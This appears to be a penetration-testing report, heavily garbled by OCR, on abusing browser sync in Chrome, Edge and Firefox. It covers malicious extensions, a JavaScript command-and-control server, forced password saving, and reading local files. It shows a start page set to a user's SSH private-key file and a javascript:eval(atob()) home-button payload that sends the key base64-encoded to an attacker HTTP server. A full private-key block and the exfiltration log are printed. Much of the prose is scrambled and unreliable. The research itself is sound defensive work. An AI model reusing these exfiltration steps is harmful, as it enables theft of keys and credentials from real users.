AEOT I AKWRYs which <could not be saved in se
circumwesad kerdi tnt iangvoaleude and modi fying it thr
a disall owed thel Wleevice which submitted the
visibility that the request was tampered, it

woul d not update itséalifs poeveetedsahe waltae
receiving the Imaeé, cmakisng yinlte vadxEAaxEkK onl y af

Edge
FoEdge this could be done Vvi a%d@dertNdFEDI ng pr o

As wdhtrho,met her e wsaisden pcrldteenct iwhn cehg avisresdt atnh ies
bl ock IANEO | deknYYACAKIRY. s which could not be seé

697d7273al174407ae504d3°¢



However, this was circomVéepweduei andumomdi ty

through a web proxy to a disallowed value.
tampered request had no visibility that the
had the correct state, and woul.d Trhats yp castee
the attacker device from receiving the mal.
affect the victim.

Firefox

No suitable debugging functions weFierefdext i
Howeve AAT Odd&r ecti VEIi usmdxfrmral suwals| édvoamkd y

activate approefésteluyghinif anAAhé&dikree cvtail wuee
was to be found, it I|ikely would be vulnerahb

Key results

Executing protocol handlers to gain code exe
but not i mpoasi BhewfddokvekEXEC this is highly
target environment, and would require eithet
vulnerability, or for additiona2. LseEnEld nt er a
2.2 respectively.



CASE STUDY 5: MA L ISCIN®@U S
EXTENSI ONS.

Extensions are anot heyn &hryo ifiezeaxtuircnslo dwéncyl o u d

approved by méareufbaroatmusreerrbe synchrohheedeypyy

features i dentvifa edex tfvoenrsdal @trvieeer aaghei | i ty t o wri

setsingnd the ability to read and write data
n

t
Thewerlei mitations o how overtlgounbad,i ca®us
extensi awrmseecdtroe avoi d mingdusperevent the wuse o

mal i ci ous. fHoonwthvwesrea,sc hecks have been proven t
in the past, exatse nnduaomeesobsen exploited, in th
attempting to get a malicious edX.mheslhse@aadn pul

devel oper extension watsoi emstnaslliecsigoomsheaoh zed
extension.

AsEdgaen@hr omekChr o mituhne, saxmensi @mbsn wboortkh br ows e
by deFiaud&atskexhe same format for its exofnsion
porting extensions fHRiormnefoAxhesudhr,owskes s ame
extension should work on each br owsdrc,h wiitlH
be di scussed where required

For this case study, malicious extensions WwWEe
remote extensi omBysyyrmanlr gmuirz aatgi am. extensi on W
script, t hweo udexdtbectdls € o B t-ctoanctkrebrd vV & Sicr i pt on any

viewed by t IO ebwobwscemsgert ti ngs was al so tes
AE OT MBO1T mT OAODOEWAMRADt i on. A sample: mani fest is

4P manifestjson

rome_url_overrides\" manifest key by replacing the user's default new tab page with a new html file.",

Figshe SampATeE EAOOt E©QIwWi th a content _script to embe
URL s .

Data Theft

Asi mhe previous case cathwdices ,t haen uastetracsk esrt ar
arbitrafoyl IbRLL,.Nn@nNnt leix(swehniscithonby natur dylpasst he
nor mal br ows ercooutlidpinn exleed dif sJamet hhs page onc
been opehdeaddded used for sensitive websites id
to read | ocal files, anfdietrovoemread meisl eag eofk noh

Asi mpkampl ewasf tthiei $Jod viaoSwiondgpt whi ch bdaklb4d en

content on t haen daubrnri etatde dpra gel est ebhdx ®wfoxan iadal e
woul d beekxfivvtahteothis data



OAO 31 OOAA ”

T Ax

8-, 3A0OEAI EUAOs st OAOEAI E

Al AOOs YEAMOOAKkY I AOT As O1 AGAAPAs AT AT AA52) #1 1 DI

This funwdrnloemd | wittyhout a@Glyr osoelBEdgech o weme on

FireMamnxi fest version t3hlemowmlSawrmn gttt nex dawnteext ens
a user prompt was accepted. This was <circun
instead. However, this may siHkinridifscexast bei ngit
exploited throwmghi twleiss iwmestitsoadl liofwed i n the f
One point othenatda i Wi odma wd Scarribpttompaegeat usnng

t hZ#E1 AdYYewabhat web

browsadsngrlkeoveatr bml e r

an HTTP/ HTTRS @osteextr.Tthy stheoaqnurnae the screens
wher e tlCehhr ome browser ~ prevents navi g
AET AKYYY#KkY50A00Y50A0Yt OOEYEAMOOA

G Google x +

< C' @& google.com

@ Getting Started & https://google.com/1 & https://google.com/2 Imported From Fire...

i< [0 Elements Console Sources Network Performance Memory  Application Security Lighthouse

D@ tpvy & Filer

> window.location.href = "file://C:/Users/User/.ssh/id_rsa”;

© »nNot allowed to load local resource: file: C:/Users/User/.ssh/id rsa

¢ 'file://C:/Users/User/.ssh/id_rsa’

|

Fi gbb®ame Origin Policy prevenththgpreadntrexti on t

No such pwataectpiloance MAEiclelciwt esxitgouhbtd |l ow an
attacker to navAEdaAtkedYthos aarnbdi texaecyut e JavaScr
t hose ,paddsamanlgi cfioous extension to read the
endpoint to enumerate file and folder names.



& Index of C:\Users\ X +

& C @ File | C/Users/

@ Getting Started & https://google.com/1 & https://google.com/2

Index of C:\Users\

% [parent directory]

Name Size Date modified

All Users/ 06/05/2022, 22:41:31

Default/ 09/08/2023, 17:56:15

Default User/ 06/05/2022, 22:41:31

Public/ 09/08/2023, 10:57:20

User/ 23/10/2023, 23:06:17

_| desktop.ini 174 B 06/05/2022, 22:22:32
Fi gbbei ewing affidledesrbopivie rag full .directory 1|ist
Fol | otwhiiamsgt omat ed file enumeocwbdodoard exfildt
one fileThitcoabddai mapr oved si gnciofubbaa mtali yntiaf na c
bet ween pages. The easi estent mpi ethewmtwuat ngn t d
wasa wbhsed Command and Contr ol server, to it
files toTdowndotadvity would be overtly malic
by an active user i fwasmtdairca cetdi rwgh i wiet i hteh as sher
by generga a valid pretext, setting up a del

amount of ornaciiggetryng other activities to c
executed with reasonable efficacy.

JavaScript Command and Contro

To extemat a hexfiltration techniques discuss
Control (C2) server was created, such that t
send HTTPS requests to the server and execut
the C2 response.

The following functionality was tested and v
T I'njecting arbitrary JavaScript into the <c



T Exfiltration of alll content on the curren
T LaunchingSiat € CrResguest Forgery attack to tr
on the current device via Wi nRM, via the

T Checking i f twaea cfuirlree nptatUhRL

Remote Code Execution

An attacker could target internal systems wi
the victim user to navigate to a vulnerable

JavaScript in the context of that isntRol iWdy h
woul d prevent this. However, with anstexg ensi
web requests in order to -todg@ggexcatitsiackmsn DHec
used for sites with known athtomerfitorcameedr RGE

attacks such as WinRM. As these exploits wou
would also circumvent any | P allowlisting an

Setsi Mgdi fication

Very few settings were modi fi abwee et horfo ungoht aebx
us,e as these settingsetctoiungdsi masy¥k ¢dbgen ss eotn sb ya |
provided additional warnings when an extens
|l i keli hood of a user detecting the malicious

Subsequent Network Exploitati

As discussed in case study 6o ulAa blietwearrayg elda vfa
vari ety eoxfplreeintosced e | eixde gt i on, eapplkrcagaons
or by | eMenrRAMIi Nnlge vi ctim host.

As extensions embed and execute JavaScript i
an attcoukantr ol the victi mbésouslftdamrde pages erant
vul nerable site and execute malicious JavasSc
and alnfgow mul t-¢ Ipdregisn @ ttreoe qluee sarsa dpea r t of a <co
exploit chaiwelcAddentonbbkl gyould be compr omi

i n

coerdienussed case study 1, allowing for
vul nerabilities to also be exploited.
Exploitation thwaughmithed by¥edbrei tConPehitcy (
t he victi meceugtree,v eanst trhuinsni ng JavaScript if a
wasn pl ace.

Key results

Extensions al fionwafcer athaclkisghh ound in the pr
ot herwe geiamnend ver sabl X&Sabi | ever age. Mo s t no:

EXE-C, and -3T HERdIE F4T

Bhttps:// book. hackenv-gkst xg/tzi/ mepw gum/mtke m¢ amn#r c e



COMBI NI NG THE RESULTS OF
STUDI ES

Hi g¢Compl exity Targeted Attacks

1T Malicious extension published to browser
servers.

T Malicious extension publpiaslsedret gy bBitews$erd
pot eneg maed ymal ware in trusted downl oads.

1T Passicoempromi se of credentials and context

Targeted Dedicated Attacks
T Credenmnhe&fath aut hentication coerci on

T Exfil lrcatdi i gdlaetvaseh ameel i ci sus extensi on

T Compromising | ocal server®ntieat H&ISi ¢ @ou s
unpatched/ outdated server

T Downl oamiilngifid@end social eaewmgemeentaoagtrigor

mal war e.

Opportunistic Attackers

1T Coerced Secrets theft via emabling aut oma
1T Passive secrets theft.
T I'nstalling Adwsaophiost ioctahteerd nManl i ci ous EXxt



KEY RESULTS FROM CASE ST

As the case studies reference hcaawdeeat heddedt |
toget her hegfeo,r wmatichhcli oluesl a dtoirom,astieralriedver e

THEFIIPassive compromise of wuse

As discussed in case study 1, compromise of
in eachhofeet lbe owser s.

THEFIT. Gompromi se of history and passwc
attacks
Looking through a compromised userds passwol

sites to target for subsequent attacks. I n c
|l ead to remote code execution alnhd so tihnefrorhmagth
could also be retrieved on Firefox or Chr ome
For example, toPiwenandeg, aadoamctmaacker coul d
an internal site on TCP port 8080, Il ook thro
the endpAl A (;ACD\?T,ECH] |l ook for a page in histo
Header. I n the example shown below, the admi
shown, along with the service version, maki n
@ O B News x |+

C @ ater web add = @ 9 3@ 0

B2 Import favorites | Acer History W o 2 a

31 I8 Microsoft Start 4

Figbi7e Vi ewing the history for the use.ur, incl udi n¢
From this it would be trivial t passwoeldat é ot
the application, allowing for authenticated

1saved d

msave pji SSW(_" ) Q_ Search passwords Add password
[\ reused, 0 weak)

\:| Website |7 Username Password Health 1. @

\_| 127.0.0.1:8080 admin Secretpasswordl >®\ -

FigbBe Vi ewing the administrator Tomcat password by

A demonstration of exploitation usling. this i

Yhttps://tomcat.apache. org/



THEFIT. 3 Passive compromise of wuser inf
As per case study 1, with no overtly malici
data f AAINOOKkE ¢ CEPLtOi n

To retrieve full smondc fiynifnogr mahtei o/n cwiitnhdosu tb r o v
di sable synchr-ons$ sand oifmg fOOk O e si on .

=] @ Settings X +

&« C @ @ Firefox aboutpreferences#sync <

Choose What To Sync X

Changes to the list of items to sync will be reflected across all your connected

devices.
% Bookmarks B Credit cards
@© History &) Add-ons

21 Open tabs &2 Settings

O Logins and passwords

Disconnect... Save Changes Cancel

Figb®e Di sab-bnngyaddin settings.

ThAdAl OOk®WdAn will then pull down a copy of
all owing for full pl ai ntext retrieval of da
configured in Firefox.



) aboutsync

Firefox Account Options
Roy.Bunsen@gmail com General Options

6e7 57128400102 ac0e058b87 Foad ™ Please describe how you intend using about:sync

Actively looking for issues and want detailed logging

ile.accounts , Firefox. com/vi/avatar/R™ This will set your leg files (even when sync succeeds) te Trace’ (which means they might contain personal information, such as the contents of your

avatarDefault: false

Log Files and Diagnostics

Other Options

Collections

Status: 200

addons
Summary

4 records (1 deleted), modified Wed Nov 22 2023 17:08:05 GMT- EIEEII] (Pacific Standard Time)
P Response: {url: “https://sync-

=18Limit=1868", stotus: 288, success: true, headers: object, records: Array(4)}

bookmarks
Summary
22 records, modified Thu Nov 16 2023 15:02:08 GMT- UBUD (Pac\ﬁc Standard T\me;
B Response: {url: "hEps:/fsyne-1-us-westl-g.syne . Eorage, Boakmarks 7l L=181 imit=1850", status: 268, success: trus, heoders: Object, recards: Array(22)}
clients
Summary
§ records, modified Wed Nov 22 2023 17:04.40 GMT- DSDU [Pacmc standard Time)
W Response: {url: "https:/fsync-1-us-westl-g.sync ce 5/ 28855356 1666", stotus: 288, success: true, heoders: Cbject, records: Arroy(5)}

Fig6Oe Vi ewi ng al l sync collections

THEFIMPassive compromise of wuser |

As per case study 1, with no overtly
data from the foll owing

T Chrome:// settings/ payments

T Chrome: / /-masager ipasswords

T Chrome:// addresses

c

EOI T AkYYOUT A

> T

[ | i nformati on can al so be obtained

n

abol

nf or
ma l

i Cci

by



< C ® Chrome | chrome://sync

About Data | Sync Node Browser = Search  UserEvents  Traffic Leg  Invalidations
| Refresh |Last refresh time: 22/11/2023, 17:26:45

App settings

Apps

Autofill

Autofill Profiles

Autofill Wallet

Autofill Wallet Metadata

Autofill Wallet Offer

Bookmarks

Figéde Viewing the sync data thABOdH Akh¥ YsQUWlk Anode

THEFISPassive compromi se é&@figeser infor|
As per case study 1, with no overtly malici
data from the foll owing.

1T Edge:// settings/ passwords

1T Edge:// settings/ payments

1T Edge:// settings/ personalinfo

Ful I information can al so be obtained by
AARGAYOUT A

< C @ @ Edge | edge//sync

About Data | Sync Node Browser  Search  User Events  TrafficLog  Invalidations
Refresh | Last refresh time: 11/22/2023, 5:34:49 PM
Autofill
Autofill Custom Data
Autofill Profiles
Bookmarks
Collection
Device Info

Edge E Drop

) Edge Hub App Usage
Figé6Re Viewing the sync data thAARMYOWNd Aync node




THEFZIFor cPad s wohradf t

THEF2ZI.Horced PassVarge t heft in

By |l everaging the synchronised password sett
a remote keylogger on the victimdés devi ce.
To demonstrate this, on t he ~attacker
%ACAKYYOAOOET cCOned A0O0Omd ©A0I ed 1 dEARM atOlie OANCA
DAOOxT OAGOT i ACEAAT T U OAOCA DKMOIYMHEEOAO DPAOOXT O
feat.uwres

i

e
!
@)

@ [ €8 settings x |+
« C @ @ Edoe | edgey/settings, word: m g= ® = (L)
Q
Settll'lgs < Profiles / Passwords &
Q & Try the new management experience in Wallet Go to Wallet -
| @ Profiles E
@ Privacy, search, and services Offer to save passwords @ ]
&) Appearance &
CD sidebar Automatically save passwords Q B
=] Start, home, and new tabs
= Autofill passwords a w
& share, copy and paste
[ ]
@ Cookies and site permissions More settings
+
@ Default browser
L Downloads 0 saved passwords
N Add password
% Family safety
At Languages
@ Printers
O System and performance 0 never saved passwords
‘2 Reset settings
[J Phone and other devices
T Accessibility @
€@ About Microsoft Edge &

FigeéBe Configuring settings to automatically save

Once the sett.i

ng had synced to the victim de
resulting in the

ir password being automati ca



@ O @ Fccbook—loginorsgnup x| +

€« C a 6 //wwwfacebook com I m 1 g & - (b
&
‘n
Roy.Gunsen@protonmail.com o
facebook = . :
Facebook helps you connect and share “ s
with the people in your life. o
Forgotten password?
Create new account
Create a Page for a celebrity, brand or business.
ai]
. B
Figéb#de Logging into a website on the victin
I n the response after |l ogging i n, the wuser
saved. However, by this point it had already
received by the attacker devi ce.
€« C B & h o m = 3 8 @ =~

Create Story

TR ORR e LD

Fig6be The password is automatically saved, as sho

tacker device, the password was I
e attacker to enter their desktoyg
r had access t ocr eadse rtthieayl 0 wono u lhde F
the sync response, rather than v

From the at
prompted th
the attacke
|l ogged from



@ @ 8 setings x |+
<« C @ @ Edoe | e settings, word: m g= ® = L)
Se“ings < Profiles / Passwords ‘,
G B Try the new management experience in Wallet o to Wallet B
| ® Profiles i
() Privacy, search, and services Offer to save passwords [ o o
Z ?:T’:ﬂ”-’* Automatically save passwords [ ) &
18] Emslmn ez Autofill passwords 0 4
L]
B8 Default browser
L Downloads 1 saved passwor 4 . > 1 +
& Family safety .
A Website Username Password Health T4
; 5 1 5 emm
O Re
o 0 neve d password
;:! About Microsoft Edge
ul}
§51
Fig66e Once the password is received by the attacke
THEF3ILoc al FVia KB&ft
As discussed in case study 2, compromise of
start page, and JavaScript execution in the
This action is overtly malicious, however it
with multiple pages, such that the malicious

t heir browser .

THEFT 3.1 SSHTHWeifinv eEtdeggeKevyi a Mal i ci ous

By setting t he user s start page t o a
file:///C:/ User/ Users/ .ssh/id_rsa and l ever
JavaScript on the page, an attacker could ex
server over HTTPS.

The malicious JavaScript was embedded in the
EAs xET AT xt 1T AAQETTH+EOAAE """ Y EEI AKYYY#KkY50A0C

31 O0AA » TAx 8-,3A0EAI EUAOsst OAOEAI EUA41 300E
HAAOAEs YEOODPKYYEAT EEEAT EEt AOEI ksteteW Yoy 1 AOT As C
1 0537 OOAAL 584K

xET AT xt 1T AAQET T+t EOAE YyEOOPKYYCI T CI AYATI vdiK
The userdés start page was set to the path to



£} Settings - On start-up x +

< C & Chrome | chrome:/settings/onStartup

@ Getting Started G httpsi//googlecom/1 & https://google.com/2 Imported From Fire...
@ Settings Q,  search settings

You and Google

On start-up

Autofill and passwords
O  Open the New Tab page
Privacy and security

& I

Blank new tab page is controlling this setting Manage [ Disable
Performance

Appearance O  Continue where you left off

Search engine @ Open a specific page or set of pages

m o %

Default browser file:///C:/Users/User/.ssh/id_rsa

@ file:///C:/Users/User/.ssh/id_rsa

€

On start-up

Figéime Setting the user's startprpakgsyet o

Upo the victim opening th
be g reddidGEAQkeYdY Qlol CI1 At AT |

n
i n

heir br owser,

t

h

& id_rsa X +

C' @ File | C/Users/User/.ssh/id_rsa

----- BEGIN OPENSSH PRIVATE KEY-----

b3BlbnNzaClrZXktdjEAAAAABGSvbMUAAAAEDMOUZQAAAAAAAAABAAABIWAAAAdZC2gtCn
NhAAAAAWEAAQAAAYEAIMZTULp/pewVeKt2fznAuQw7ny3F6wlZBngocTLIgcBGOBtgMrY
+uk2LkFsUh9hIo6Md9Q42F9ZM+MmVWILXIP81tTcoaMdGvewCtk0SY9dvPXk7VI+4IgrCz
Wg8irVrBUkb8xk/UJtwgi2RIPuOy3iU46EWzt3GaQgNzf7n7Yrd2F18Bzrx13f2ZIL6Izq
OqEf9C91DgFFetdmfIKkXEy64gKkhdjz3alETNzULEWSCMRbIFRO3ZFow3ux4fLzWx3LGVU
LXiHJw3YpBoUnhXr@s3K9VYItHCOS289PuP1l6UL9QR5VCDhIo5KB1T5CsTQqOPENSMZAXE
ZRR1fcki76QIFXKPVLY/CE6RFZmqIDp74i8KSIU2f80aGOrrXebHrQZI5XqIloihZv2YVQF
UbKcGRx6gpYd64NDI IAAUCTMZI3hS6C88QIHNAOBzOVGEXqjQ2g8I842r11dtRILgQ26ue
/nDs3WFCaAu6lds19dngOK1rIb3DL2ndpYThk+2HAAAFKkDzpNcE8STXBAAAAB3NzaClyc2
EAAAGBAPZMULIy6f6dMFeirdn85wLkMO58txesIWQZAKHEYYIHARtAbajK2PrpNiSBbFIf
YSKOjHFUONhFWTPjJ1cCS1yD/IbU3KGFHRrOMArZDVIWPXbz1501SfuCIKws1loPIqlawVlG
/MZP1CbcKotkSD7jst4100hFs7dxmkIDc3+5+2K3dhZfAc68dd39mSC+iM6jghH/QvZQ4B
RXrXZnySpFxMuuICoXY892tREzc1NRMEg]EWYRUaN2RaMN7 seHy81sdyx1VC14hycN2KQa
FJ4VE9LNyvVWCLRwjktvPT7j5e1C/UEeVQgaSa0SgZU+QrEeKjixJ/ ImeMRGUUAX3ITu+k
CBVyj1S8vwukY2ZqiA6e+IvCkiFNNn/NGhjq619Gx60GS0VEiJaloWbImFUHLIGYnBkceoKk
HeuDQySAAFArTGSd4UugvPECBzXaAcO9FRuleo@NoPCdOME5dXbUFS4ENUrnvSw7N1hQmgL
utXbNfXZ4DipayWOwy9p3aWE4ZPthwAAAAMBAAEAAAGBAMKES8qktk@1SV1ZFFCbcK7WTN
2N7t1kjUBpOyBd+PPxeSxiZMfrWEQkHE+7ILJeX1QDOHXTWoGWCVdegdhsJcb+AIfrrlgl
IK59voQe0yBSp5B4,/02aLlu+gbfQz8/ivZaLlUKrG4ZW/KGhinYTUQlywp/R5wGaZIfr3i+h
rpwZDdVejlTtjodn/zbr/yLjshctPXFvvSoRjKZHDK3xJAimjvsxp,/Xb+mOxuzPWS6PHHF
NGc7TLvCt1g29zyWwjpCuiZpRYIzXDhmay8uXaTJlz/Wkwnl1Pm3zWn9SDaQTdkmrCYHVeqy
X03jq8UZIxyOyNPAjxsuH4kF58npTAUKUUW29CNU2RVSOAT1/ttLdqFD1263es /QARIHRT
NNe+JbUME+BuQywZZfRquuKg+Ho6Zj5xYSAyD210dFIt0I9VHCrUT1Yk18pAFnGaNXF o6l
JISwjzpHyexkcWdYkW9ywh83ji2qk7jpR1X21bTSkOhywBujCliOreVIfgqg0lGasQeMQAA

@ Getting Started & https:;//google.com/1 & https://google.com/2 Imported From Fire...

Fig6®8e Upon reopening their browser, the

\Y

cti

m

e |l oca
t hey
t empol



& Google X +
C & googlecom

@ Getting Started & https//google.com/T & https://google.com/2 Imported From Fire...

Google

fe)

=

Google Search I'm Feeling Lucky

Fig6®e The user is redirected to google after

The malicious server retrieved the Baseb64 en

:-$ python -m http.server 1337
erving HTTP on 0.0.0.0 port 1337 (http://0.0.0.0:1337/) ...

192.168.18.129 - - [29/0ct/2023 23:47:30] "GET /?PGhObWwgeG1sbnM9ImhodHAG6LY93d3cudzMub3InLzE50TkveGhObWWiP jxoZWFkP jxtZXRhIG5hbWU9ImN
vbG9yLXNjaGVtZsIgY29udGVudDeibGlnaHQgZGFyayIgLz48L2h1YWQ+PGIvZHk+PHBYZSBzdHLsZTO1d29yZC13cmFwOiBicmvhay13b3Jk0yB3aGlezZzS1zcGFjZTogeH]
1LXdyYXA7Ij4tLSOtLUIFROLOTESQRUSTUBggUF JIVKFURSBLRVKtLSAtLQpiMOIsYm50emFDMX]alWGtA8ZGpFQUFBQUFCRZzV2Ym1VQUFBQUVibTL1WLFBQUFBQUFBQUFCQUF
BQmx3QUFBQWR6YzIndGNuCk50QUFBQUF3RUFBUUFBQVLIFQTLEWLRVakxwL3Awd1Y253QyZnpuQXVRdzdue TNGNndsWkJuZ29 jVExJZ2NCRzBCAHFNc LkKK3VrMkxrRnNvVaDl
0SWB2TWQSUTQYRj LaTStNbVZ35kxYSVA4bHRUY29hTWRHA jB3Q3R rTz LZOWR2UFhrN1ZKKZRIZ3IDegpXZzhpc LZyQLVrY jhaayovsnr3ckkyUk1Qdu9sH2 LUNDZFV3paMed
huwdoemyY3bjdZemQyRmwaQnpyeDEzZ jJaSUw2SXpxCk9xRWY5Qz 1sRGAGRMVBZG1mSktrWEVSNjRnS2hkanozYTFFVES6VTFFAINDTVILS zZNaRm93M3V4NGZMeld4Max
HVIUKTFhpSEp3M1lwQm9ovbmhycjBzMOs5VLLIdERDT 1IMyOD1QdVBSNIVMOVFSNVZDRGhKbzVLQMXUNUNZVFFXT1BFbjhtWjR4RQpaUlIxZmNraTc2UULGWE tQVkx5LOM2Ump
abXFJRHA3N6L4‘INJVT]mDDBhRGchlngLhyUVp]NVh(aH&VaNhad]]7V1FMC1V NHURg2Z3BZZDYOTKRKSUFBVUNGTVPKM2hTNKM40FFJISESkbOI6MFZHNLhxalEyZzh
KMDR6CmwxZHRSOUXnUTI2dWUKL25EczNXRKNhQXU2MWRZMT Lkbmd xySmIzREwybmRWWVRoaysySEFBQUZrRHpwTMNFODZUWEJBQUFBQjNOemFDMX1 jMgpFQUFBROIBUFp
tVTFIeTZmNMRNRMVpCmRUODV3TGENTzU4dHh1lc@pXUVoasehFexl dEFL1YWPLM1BYCE5pNUJ1Rk1mC11TS®99qSGZVTO50Z LdUUGPKbGNDUZFSRCOKY1UZSAdgSFIyoul
BclpEdldQWGI6MTVPMVNmdUN dzMWIQSXExYXdWSkcKLO1aUDFDYmNLb3RrUBQ3anNONGxPT2hGezdkeG1lr SURjMys1Kz ILM2RoWMZBYzY4ZGQzOW1TQy tpTTZqcWhIL1F
2W1lE@QgPSWHIYWM55U3BGeE11dU1Db1hZ0DkydF JFemMxTLINRWAQRYA5SULVAT jISYULION3NLSHKk4MXNkeXhsVkMxNGh5Y@4yS1FhCkZKNFY20Ux0eXZWVONMUndga3R2UFQ
3ajVLbEMVVUVLVLFNNFNhTINNWLUrUXJFMEtqanhKLOptZU1SR1VVZFgzSk11K2sKQ@IWeloxUzh2d3VrWTIacWBNmUrSXZDa21GTm4vTkdoanE2MTLHeDYWR1NPVJZpSmF
Jb1di0W1GVUgxR31luQmt jZWILVWp IZXVEUX1TQUFGQXJURINKNFV1Z3ZQRUNCelhhQWM5R1J1bDZ vMESVUENKTAB2ZNWRYY LVmUZRFTnVybnY1dzdOMWhRbWdMCnve
aNERpcGF5Vz13eTlwM2FXRTRaUHRod@FBQUFNQkFBRUFBQUACQUILNjU4ct@azBsU1ZsWkZm dXVE4KMk43dDFralVCcE95QmQrUFB4ZVN4aVpNZnIXRVFr
MSmVYbFFET®h4VFdvR1dDVMQ2ZzRocOp jY1tBSMZycmxxSQpISzUSdmORMESSQLNWNUIOLA8YYUX1K2d1iZ LF60C9pd1lphTFVLckecOWlcvSOdoal5ZVFVRMX 13cCISNXdHYVp
JZnlzaStoCnJwd1pEZFZ jakpUdGpPNG4vemdylL31ManNoY3RQWEZ2d INvUmpLWkhESzN4SkFpbp2c3hwl 1hiK21PeHV6UFCIN1BISEYKTkd jN1IRMdkNObGCyOXp5V3dqcEN
1aVpwUllKelhEV21heTh1WGFUSNovV2t3bjFQbTN6V245U0RhUVRka21yQ11IVnNxeQpYb2px0FVasnh5T31OUEFqeHN1SDR IR jUwbnBUQXVrVVVXMI1DTLUYUNZTTOFmajE
vdHRMZHFGRGwyN jN1cySRQVIpSFImCk50ZStKY1VNRS tCdVF5d1pazZ1IxdXVLicStIbzZaajV4WVNBeUQyaU9kRk1OTO05VkhDe LVUMVLrMThwQUZUR2FOWEYSNLcKSk1Td2p
6CERSZXhrY1dkWWtX0X13aDhqaTIxazdqcFIXWDIXYLRTazBoeXdCdWpDbGlPcmVHWSWZncWdPSkdhc1FLTVFBQQPBTUFZSVQVWWtSWTI6YONXdEIIRKOFODNOcTcybktQblh
kdW5VcG4ycma6VHNLIdEpPWCETT jd4MU1@ THZhQy txNmLGNkhOCktkc3pEK3J2b3hhbHhCQndoVVFnVmtZa®MOdE JUOUWvelcOY3B4RHAZMWLQRKk1RMAZKUWgreFBNRk1MQme
3ZDL1RDIFWHUKYXp3aXQ1VDhzdFY1UVBRcmwBZENrVHV6ZnE4WG5vSTLiS2RRY1Z2zQUhsK1V10WLkSm51UFJIQK2g5QktIRzZpN3VzM2Zqagp3LOglendxK1pxTVVKRWF 1aUp
reGovSsTg5YKIwSjLINmY1Y1NKNzYzQkszMiFRYTZVQUFBREJBUD1ZZy9TVzc1cWESADAtC1VwbGFucOple jVyY21kTWZsMiNYZ2dLYV1BUZphc1M2VLlhsU1p4YTRve jBHLY
KMmZWT1dEaVhBMESMZ2h1cjVrQLl1gN1gKNFL4ZXMrueVMd3yY1Y2ZTNWSSWTNCQO88b1IrdDBEQLIU2TmpWSOXKMWpMWNZ JUFVXVHNSSEdyWGoru11iQvdlQTFuelMxdgoyN2N
hskU@NB1SNTM4QnhOWINSAMEr ZW5FWE tEcOIUNVZWU1VRUTNBOF LDN20zdHVCRHhLbONtSXTET1A3N313WESFWXpICNNSMk51Tm16VUI1R jNUaVhDNThDNndzdGpnRFdTeWd
3QUFBTUVBOXdmeE@YYOFoMVB3UENPZVIhdk1rcTIOSNdEN2FNdUYKVWCYCTdmZzZIU2I4R3ZsM3cvYW5rNk5GSnEWR2h5QnpuRDhEdmLhd LVFOUZiamxnRUVTMNQzb1pDd3]
YZnpTVHZNYTFZQgo5cXhGMmFoaEE2bW1QTEhYdXp2WHVubDFrcGdieUxabz JHbzdLN2VhRXNCRFZ5bVe1d3Q3M1RoK3crUDdKTEpGanpLUnlmCmhBNTVOZF 16U jkzODUBQTF
KdV1sRDAzczlrZEI3SEFWcO®IUYO1IZHIabm1qcy840FBmbmVhQ3NKY1kONV1iLzIVR1IVPULCKR j1ZN3QzSERSUEhabXRBQUFBRTNWelp FWMmx 1UkdWMk 1gTXdPRVYyWVd
3QkFNTUVCUV1ICiOtLSOtRUSEIE9QRUSTUBgQUF JIVKFURSBLRVKtLSOtLQoBL3BYZT48L2IvZHK+PC90dG1sPg== HTTP/1.1" 200 -

Figudbe The sensitive data is retrieved from th
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fﬂ im] ‘ D id_rsa X Eg} Settings x 4+
&< G m @ Edge | edge://settings/startHomeNTP aQ h = xR
Settings ) When Edge starts
Q  search settings Open the new tab page
© Profiles Open tabs from the previous session
@ Privacy, search, and services ° Open these pages
Q) Appearance
D Sidebar Pages Add a new page
| B3 start, home, and new tabs [ files//C/UsersfUser/.sshiid rsa
@ Share, e [ file:///C:/Users/User/.ssh/id_rsa
@@ Cookies and site permissions Clear the list and set it to all currently open tabs Use all open tabs
@ Default browser
J Downloads
& Family safety @ Home button
gt
A = Show home button on the toolbar @
© Pprinters Set what the home button opens belaw
O System and performance )
New t
) Reset settings e P
O Phone and other devices © | javascripteval(atob("dmFylFNvdXJjZSASIG5IdyBY TUXTZXIpYWxpemVyKCkuc2VyaWFsaX plVGITdH)pbmcoZ Gt
R Accessibility
Figunle Setting the user's start page to the | ocation
XSS payload in the home button
@ D D id_rsa x P
C @ () File | CyUsers/User/ssh/id_rsa Ay
----- BEGIN OPENSSH PRIVATE KEY----- This page says
b3B1lbnNzaC1lrZXktdjEAAAAABGSvbmUAAAAEbMIUZQAAAAAL
NhAAAAAWEAAQAAAYEAIMZTU] Lp/pewVeKt2fznAuQuw7ny3Ft  id_rsa:PGhObWwgeG1sbnMIImhOdHA6Ly93d3cudzMub3nlzE50Tky
+Uk2LKFsUh9hIo6MdoQ42FOZM+MmVWILXIP81tTcoaMdGvel  eGhObWwiPjxoZWFkPjxtZXRhl
gggigggigkgixiéUig&aiéRézugﬁz%U:55g$;3gigggé;zgf G5hbWU9IMNvbGIYLXNjaGVZSIgY29udGVudDOibGInaHQgZGFyay
q gFFetdm y64gKhdjz3a zU1Ew. {
LXiHIw3YpBoUnhXr@s3KSVYTtHCOS288PuPLEULSORSVCDh:  I-248L2hIYWQ+PGIVZHK+PHBYZ i
ZRR1fcki76QIFXKPVLy/C6RZmqIDp7418KSIU2F8RaGOr SBdeIsZTO|d29¥ZC1 3cmFwOiBicmVhay13b3JkOyB3aGl0ZS1zcGFjZTo
UbKcGRx6gpYd64NDITAAUCEMZI3hS6C88QIHNdoBzeVGEXg: gcHIILXdyYXAT7Ij4tLSOtL

/nDs3WFCaAu61ds19dngOK1rIb3DL2ndpYThk+2HAAAFkDz}
EAAAGBAPZmMU1Iy6f6dMFeirdn85wLKkMO58txesIWQZAKHEY)
YSKOjHfUONhFWTPjI1cCS1yD/IbU3KGIHRrSMArZDVWPXbzZ!

UJFROIOIE9QRUSTUOggUFJIVKFURSBLRVKLSOtLQpiMOJsYm5OemFD
MXJaWGt0ZGpFQUFBQUFCRzV2Y
m1VQUFBQUVIbTI1WIFBQUFBQUFBQUFCQUFBQmMx3QUFBQWR6YZ)

/MZP1CbcKotkSD7jst4100hFs7dxmkIDc3+5+2K3dhZfAc6!
RXrXZnySpFxMuuICoXY892tREzc1NRMEg]EWyRUaN2RaMN7:
F14V69LNyvWWCLRwjktvPT755e1C/UEeVQgaSa0SgZU+QrE
CBVyj1S8vuwukY2ZqiA6e+IvCkiFNn/NGh]jq619Gx60GSOVE:
HeuDQySAAFArTGSd4UugvPECBzXaAc9FRuleo@NoPCdOME5¢
